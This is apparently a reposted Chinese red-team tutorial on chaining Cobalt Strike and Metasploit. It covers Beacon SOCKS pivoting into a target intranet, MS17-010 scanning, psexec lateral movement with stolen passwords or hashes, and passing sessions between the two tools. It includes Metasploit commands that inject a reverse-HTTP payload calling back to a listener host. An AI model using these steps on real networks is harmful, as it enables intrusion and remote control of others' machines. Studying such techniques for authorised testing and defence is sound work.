文章作者:Luminous
原文地址:
http://adkx.net/9nbda
CobalStrike 与 Metasploit 均是渗透利器,各有所长。前者更适合做稳控平台,后者则更擅长内网各类探测搜集与漏洞利用。
两者更需要灵活的联动,各自相互依托,从而提升渗透的效率。
通过Beacon内置的socks功能在VPS上开启代理端口,打通目标内网通道,之后将本地Metasploit直接带入目标内网,进行横向渗透。
当然,也可以把代理设置在其他的工具上,不限于Proxychains、Proxifier等。
首先,到已控目标机的Beacon下将socks代理开启。
1 | beacon > socks 1024 #端口根据VPS实际情况进行设置 |
点开菜单栏中的View > Proxy Pivots,复制代理连接到Metasploit中。
本地启动Metasploit,挂上代理,就可以对目标内网进行各种探测搜集。
如 探测目标内网中存在MS17_010漏洞的主机,这也是内网拿主机权限利用方式之一。
当通过其它方式拿到了目标内网中某台Windows机器的本地管理员明文密码或hash时,可利用Metasploit下auxiliary/admin/smb/psexec_command模块,直接上线指定目标机器的Beacon shell。(前提目标机可出网)
先利用CobalStrike生成上线Beacon的powershell。
本地启动Metasploit,挂上代理,设置psexec_command模块参数。
最终,只要密码一致、 能出网,且未被杀软阻止的均会成功上线。
当CobaltStrike获得了一个上线机器,想把这个目标传给Metasploit中的meterpreter,获得一个session进行控制。
在Metasploit执行以下命令:
之后使用CobaltStrike创建一个windows/foreign/reverse_tcp的Listener。
其中IP为Metasploit的监听地址,端口为Metasploit所监听的端口。
然后选中计算机,右键->Spawn:选择MSF的监听器:
这个时候可以看到,Metasploit上的监听已经上线,现在可以对meterpreter获得的session进行控制。
现在已经获得了一个meterpreter的session,把session传给CobaltStrike。
在CobaltStrike中创建一个监听者,和上一步类似,这里host需要修改为CobaltStrike客户端IP,创建好之后便监听8099端口,等待着被控机连接。
接下来,把meterpreter获得的session转交给CobaltStrike,在Metasploit执行以下命令:
1 | meterpreter > background |
2 | msf5 > use exploit/windows/local/payload_inject |
3 | msf5 > set payload windows/meterpreter/reverse_http |
4 | msf5 > set lhost 192.168.144.174 |
5 | msf5 > set lport 8099 |
6 | msf5 > set DisablePayloadHandler true |
7 | msf5 > set session 1 |
8 | msf5 > run |
解释一下这些参数。
由于CobaltStrike的监听器我们使用的是:
windows/beacon_http/reverse_http
所以我们的payload也要使用:
payload windows/meterpreter/reverse_http
设置本地监听IP和端口:由于监听器是CobaltStrike的,所以要设置成CobaltStrike机器的IP与端口。
默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,这里我们设置:
set DisablePayloadHandler true
设置当前的session,执行run。
此时目标机便已成功从CobaltStrike上线。
关于CobalStrike与Metasploit 的联动利用方式远不止这些,每种方式在实战中都有对应的应用场景,更需要探索与总结。
在测试过程中详细的信息收集意味着不同的渗透测试路线,也只有信息的关联使用和复用才能更加有效的放大渗透成果。
声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及作者不承担相应的后果.
侵权请私聊公众号删文